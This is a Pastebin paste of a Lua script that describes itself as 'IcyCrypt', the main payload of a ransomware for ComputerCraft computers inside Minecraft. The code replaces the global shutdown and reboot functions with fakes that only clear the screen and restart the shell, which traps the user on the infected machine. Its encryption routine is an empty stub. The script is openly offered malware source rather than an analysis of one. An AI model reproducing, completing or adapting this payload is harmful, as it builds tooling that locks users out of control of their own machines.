Rahph

IcyCrypt

Jul 4th, 2017
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.86 KB | None | 0 0
  1. --[[
  2. IcyCrypt - A computerCraft ransomware
  3. This variant saves the key on the disk
  4. (C) 2017 Rahph
  5.  
  6. Main payload
  7. ]]
  8. _G.term.undoPaletteChange = "1.0"
  9. local crypt = function()
  10.  
  11.  
  12. end
  13. local overwrite = function(mode)
  14.     if mode == "reboot" then
  15.         term.setBackgroundColor(colors.black)
  16.         term.clear()
  17.         sleep(2)
  18.         term.setCursorPos(1,1)
  19.         shell.run("shell")
  20.     end
  21.     if mode == "shutdown" then
  22.         term.setBackgroundColor(colors.black)
  23.         term.clear()
  24.         while true do
  25.             event = os.pullEvent()
  26.             if event == "key" or event == "key_up" or event == "char" or event == "mouse_click" then
  27.                 break
  28.             end
  29.         end
  30.         term.setCursorPos(1,1)
  31.         term.clear()
  32.         shell.run("shell")
  33.     end
  34. end
  35. local evershell = function()
  36.     while true do
  37.         shell.run("shell")
  38.     end
  39. end
  40. _G.os.shutdown = function() overwrite("shutdown") end
  41. _G.os.reboot = function() overwrite("reboot") end
Advertisement
Add Comment
Please, Sign In to add comment